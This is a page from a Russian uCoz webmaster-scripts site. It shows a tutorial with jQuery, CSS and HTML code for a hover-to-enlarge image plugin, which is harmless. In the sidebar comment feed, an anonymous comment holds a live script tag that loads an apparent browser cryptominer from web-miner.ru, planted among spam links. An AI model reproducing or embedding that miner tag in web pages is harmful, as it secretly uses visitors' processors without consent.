Среда, 21.02.2018, 10:02
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
Наш опрос
Как вы относитесь к рекламе на сайте?


Всего ответов: 1307

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 6
Гостей: 6
Пользователей: 0


Зарегистрировано 30527 (сегодня + 0 новых, вчера + 3 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория HTML коды для uCoz » Добавлено [11.11.2013, 04:18]

Плагин для увеличения фотографий при наведении на uCoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Еще один легкий плагин можно положить в копилку "штучек" от Ucoz  для вашего сайта. Речь идет об очень простом, легком, но эффектном плагине, позволяющем увеличивать изображения при наведении на них.

  • Если же вы хотите посмотреть уроки создания сайта, тогда посетите портал www.for-net.ru, на котором найдёте много всего интересного на эту тему.
Плагин легко встраивается в код страницы и требует JQuery, как и подавляющее большинство продуктов компании Ucoz. Сам плагин создан на CSS, так что можно быть уверенным, что он действительно легкий и простой в установке. После установки, изображения отлично реагируют на мышь, не просто увеличиваясь-уменьшаясь при наведении, а делая это с некоторыми эффектами. Например, если быстро перемещать мышь можно увидеть, как картинки буквально танцуют на страничке. Может для кого-то это и ничего особенного, но довольно красивый и интересный эффект привлек нас и увлек несколько минут поиграть. Вообще при быстром обращении с мышкой, картинка еще некоторое время совершает колебания - как бы подпрыгивает на месте.

Хотя бы ради того, чтобы поиграть с рядом картинок - стоит посмотреть демку и установить на сайт - пользователи оценят - это уж точно увлечет их на длительное время, а вы получите хорошие статистические данные - сколько времени визитер задержался на странице. Это все, конечно, в шутку, но на самом деле для такого легкого плагина он содержит приятные эффекты.

Установка:

После /head на нужных страницах:
<script>
$(document).ready(function () {
var cont_left = $("#container").position().left;
$("a img").hover(function () {
// hover in
$(this).parent().parent().css("z-index", 1);
$(this).animate({
height: "250",
width: "250",
left: "-=50",
top: "-=50"
}, "fast");
}, function () {
// hover out
$(this).parent().parent().css("z-index", 0);
$(this).animate({
height: "150",
width: "150",
left: "+=50",
top: "+=50"
}, "fast");
});

$(".img").each(function (index) {
var left = (index * 160) + cont_left;
$(this).css("left", left + "px");
});
});
</script>

Следующий код в самый низ вашего css:
#main {
background: #0099cc;
margin-top: 0;
padding: 2px 0 4px 0;
text-align: center;
}
#main a {
color: #ffffff;
text-decoration: none;
font-size: 12px;
font-weight: bold;
font-family: Arial;
}
#main a:hover {
text-decoration: underline;
}
#container {
text-align: center;
position: absolute;
width: 790px;
}
.img {
position: fixed;
z-index: 0;
}
.end {
margin-right: 0;
}
.clear {
clear: both;
}
.img a img {
position: relative;
border: 0 solid #fff;
}

Картинки оформляем следующим образом:
<div id="container">
<div class="img"><a href="#"><img src="Ссылка на картинку"/></a></div>
<div class="img"><a href="#"><img src="Ссылка на картинку"/></a></div>
<div class="img"><a href="#"><img src="Ссылка на картинку"/></a></div>
<div class="img"><a href="#"><img src="Ссылка на картинку"/></a></div>
<div class="img"><a href="#"><img src="Ссылка на картинку"/></a></div>
<div class="img"><a href="#"><img src="Ссылка на картинку"/></a></div>
<div class="clear"></div>
</div>


При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Плагин для увеличения фотографий при наведении на uCoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: HTML коды для uCoz | Добавил: scripts_for_ucoz | Теги: увеличения, uCoz, плагин, наведении, фотографий
Просмотров: 5821 | Загрузок: 0 | Комментарии: 2 | Рейтинг: 0.0/0
Всего комментариев: 1
1 Teamist   (08.04.2014 15:28)
tongue

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz